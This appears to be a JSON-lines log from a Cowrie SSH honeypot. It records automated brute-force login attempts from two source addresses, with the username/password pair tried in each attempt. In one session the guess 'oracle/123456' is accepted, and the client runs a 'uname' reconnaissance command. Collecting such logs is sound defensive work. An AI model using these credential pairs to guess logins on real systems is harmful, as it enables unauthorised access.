{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":6414,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d2ca12fc3bd","protocol":"ssh","message":"New connection: 43.134.24.11:6414 (10.17.0.5:22) [session: 6d2ca12fc3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:01.381476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:01.387398Z","src_ip":"43.134.24.11","session":"6d2ca12fc3bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:01.633610Z","src_ip":"43.134.24.11","session":"6d2ca12fc3bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:02.376324Z","src_ip":"43.134.24.11","session":"6d2ca12fc3bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:03.628567Z","src_ip":"43.134.24.11","session":"6d2ca12fc3bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1496,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a689d23d462","protocol":"ssh","message":"New connection: 43.134.24.11:1496 (10.17.0.5:22) [session: 5a689d23d462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:07.078063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:07.087481Z","src_ip":"43.134.24.11","session":"5a689d23d462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:07.327035Z","src_ip":"43.134.24.11","session":"5a689d23d462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:08.300721Z","src_ip":"43.134.24.11","session":"5a689d23d462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:09.549295Z","src_ip":"43.134.24.11","session":"5a689d23d462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":55145,"dst_ip":"10.17.0.5","dst_port":22,"session":"19c1e749b6a2","protocol":"ssh","message":"New connection: 43.134.24.11:55145 (10.17.0.5:22) [session: 19c1e749b6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:12.892350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:12.897311Z","src_ip":"43.134.24.11","session":"19c1e749b6a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:13.143469Z","src_ip":"43.134.24.11","session":"19c1e749b6a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:13.887295Z","src_ip":"43.134.24.11","session":"19c1e749b6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:15.137168Z","src_ip":"43.134.24.11","session":"19c1e749b6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":60251,"dst_ip":"10.17.0.5","dst_port":22,"session":"30fc238c331a","protocol":"ssh","message":"New connection: 43.134.24.11:60251 (10.17.0.5:22) [session: 30fc238c331a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:18.555548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:18.560920Z","src_ip":"43.134.24.11","session":"30fc238c331a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:18.826650Z","src_ip":"43.134.24.11","session":"30fc238c331a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:19.565606Z","src_ip":"43.134.24.11","session":"30fc238c331a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:20.814969Z","src_ip":"43.134.24.11","session":"30fc238c331a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":60252,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab46347525d","protocol":"ssh","message":"New connection: 43.134.24.11:60252 (10.17.0.5:22) [session: 4ab46347525d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:24.385064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:24.390249Z","src_ip":"43.134.24.11","session":"4ab46347525d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:24.629669Z","src_ip":"43.134.24.11","session":"4ab46347525d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:25.346121Z","src_ip":"43.134.24.11","session":"4ab46347525d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:25.927526Z","src_ip":"43.134.24.11","session":"4ab46347525d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:25.930750Z","src_ip":"43.134.24.11","session":"4ab46347525d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:26.173807Z","src_ip":"43.134.24.11","session":"4ab46347525d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:26.178960Z","src_ip":"43.134.24.11","session":"4ab46347525d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":54394,"dst_ip":"10.17.0.5","dst_port":22,"session":"388a6ca998e9","protocol":"ssh","message":"New connection: 103.82.20.28:54394 (10.17.0.5:22) [session: 388a6ca998e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:27.533635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:27.538409Z","src_ip":"103.82.20.28","session":"388a6ca998e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:27.802204Z","src_ip":"103.82.20.28","session":"388a6ca998e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"misha","message":"login attempt [root/misha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:28.593849Z","src_ip":"103.82.20.28","session":"388a6ca998e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:29.861489Z","src_ip":"103.82.20.28","session":"388a6ca998e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":50336,"dst_ip":"10.17.0.5","dst_port":22,"session":"15c35a93011f","protocol":"ssh","message":"New connection: 43.134.24.11:50336 (10.17.0.5:22) [session: 15c35a93011f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:30.195307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:30.200696Z","src_ip":"43.134.24.11","session":"15c35a93011f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:30.447716Z","src_ip":"43.134.24.11","session":"15c35a93011f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:31.186504Z","src_ip":"43.134.24.11","session":"15c35a93011f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:32.435863Z","src_ip":"43.134.24.11","session":"15c35a93011f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23323,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5215ab80331","protocol":"ssh","message":"New connection: 43.134.24.11:23323 (10.17.0.5:22) [session: b5215ab80331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:36.069664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:36.073129Z","src_ip":"43.134.24.11","session":"b5215ab80331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:36.310293Z","src_ip":"43.134.24.11","session":"b5215ab80331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:37.024541Z","src_ip":"43.134.24.11","session":"b5215ab80331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:38.265958Z","src_ip":"43.134.24.11","session":"b5215ab80331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":44332,"dst_ip":"10.17.0.5","dst_port":22,"session":"048c7ba8c51f","protocol":"ssh","message":"New connection: 43.134.24.11:44332 (10.17.0.5:22) [session: 048c7ba8c51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:59:41.816736Z"}
